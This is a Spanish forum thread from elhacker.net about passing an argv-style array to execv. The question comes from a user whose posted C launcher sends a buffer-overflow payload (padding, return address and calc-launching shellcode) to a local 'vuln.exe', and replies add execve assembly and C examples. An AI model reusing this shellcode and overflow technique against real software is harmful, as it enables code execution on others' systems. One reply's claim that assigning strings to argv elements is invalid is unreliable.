Foro de elhacker.net

Programación => Programación C/C++ => Mensaje iniciado por: .:UND3R:. en 18 Junio 2013, 01:14 am



Título: crear arreglo con distintos tipos de datos?
Publicado por: .:UND3R:. en 18 Junio 2013, 01:14 am
Hola a todos estoy haciendo una shellcode:

Código
  1. #include <stdio.h>
  2. #include <string.h>
  3. #include <stdlib.h>
  4.  
  5. void main(int argc, char *argv[]) {
  6. char relleno[1024] ="AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA";
  7. char offset[]  = "\xED\x1E\x95\x7C";
  8. char exploit[] = "\x55\x8B\xEC\x83\xEC\x0C\x32\xD2\xC6\x45\xF4\x63\xC6\x45\xF5\x61\xC6\x45\xF6\x6C\xC6\x45\xF7\x63\xC6\x45\xF8\x2E\xC6\x45\xF9\x65\xC6\x45\xFA\x78\xC6\x45\xFB\x65\x88\x55\xFC\x8D\x45\xF4\x6A\x01\x50\xBB\x4D\x11\x86\x7C\xFF\xD3\x8B\xE5\x5D";
  9.  
  10. strcat(relleno,offset);
  11. strcat(relleno,exploit);
  12.  
  13. argv[0] = "vuln1";
  14.    argv[1] = relleno;
  15.    argv[2] = NULL;
  16.  
  17. execv ("vuln.exe",argv);
  18.  
  19. }

Esta funciona de maravilla, lo que si me surge una duda con respecto a execv, cómo se puede apreciar se le envían los parámetros de argv (estos se asignan con anterioridad), pero me surge la duda de cómo podría crear mi propio arreglo con distintos tipos de datos como lo es en argv para posteriormente entregárselo a execv, saludos.


Título: Re: crear arreglo con distintos tipos de datos?
Publicado por: amchacon en 18 Junio 2013, 01:35 am
El paramétro argc te dice cuantos parámetros se han pasado al programa.

Por cierto:

Código
  1. argv[0] = "vuln1";
  2. argv[1] = relleno;
  3. argv[2] = NULL;

Estas equivalencias son erroneas (no se puede usar asignación en cadenas char, tienes que usar strcopy, además estás modificando los argumentos que te han pasado *_*).


Título: Re: crear arreglo con distintos tipos de datos?
Publicado por: xv0 en 18 Junio 2013, 01:56 am
Te dejo un ejemplo en ASM, creo que es lo que pretendes hacer.

Código
  1. pushq %rax
  2. pushw $0x6c2d
  3. pushq %rsp
  4. popq %rcx
  5. movq $0x736c2f6e69622f, %rbx
  6. pushq %rbx
  7. pushq %rsp
  8. popq %rdi
  9. pushq %rax     ; argv[2] = NULL
  10. pushq %rcx     ; argv[1] = "-l" su direccion, o en tu caso relleno.
  11. pushq %rdi      ; argv[0] = "/bin/ls"
  12. pushq %rsp
  13. popq %rsi
  14. movb $0x3b, %al
  15. syscall

Cualquier duda ya sabes.

Un saludo.


Título: Re: crear arreglo con distintos tipos de datos?
Publicado por: flony en 18 Junio 2013, 03:54 am
hola cp2....pasarias un buen libro o tutorial de asm :)


Título: Re: crear arreglo con distintos tipos de datos?
Publicado por: xv0 en 18 Junio 2013, 09:16 am
.:UND3R:.  te dejo dos en C.

Código
  1. char *ls[] = { "/bin/ls", "-l", NULL };
  2.  
  3. execv (ls[0], ls);

Tú caso sería este.


Código
  1. char *vuln[] = { "vuln.exe", relleno, NULL };
  2.  
  3. execv (vuln[0], vuln);

Pero es más eficiente el de ASM.

hola cp2....pasarias un buen libro o tutorial de asm :)

Cualquier libro ya esta bien, y luego ir tirando con los manuales de instrucciones.

Un saludo.


Título: Re: crear arreglo con distintos tipos de datos?
Publicado por: pacoperico en 18 Junio 2013, 12:56 pm
cómo podría crear mi propio arreglo con distintos tipos de datos

No se puede, todos los elementos del arreglo han de ser del mismo tipo de variables. Lo que puedes hacer es crearte una estructura y ahi si puedes combinar distintos tipos de variables.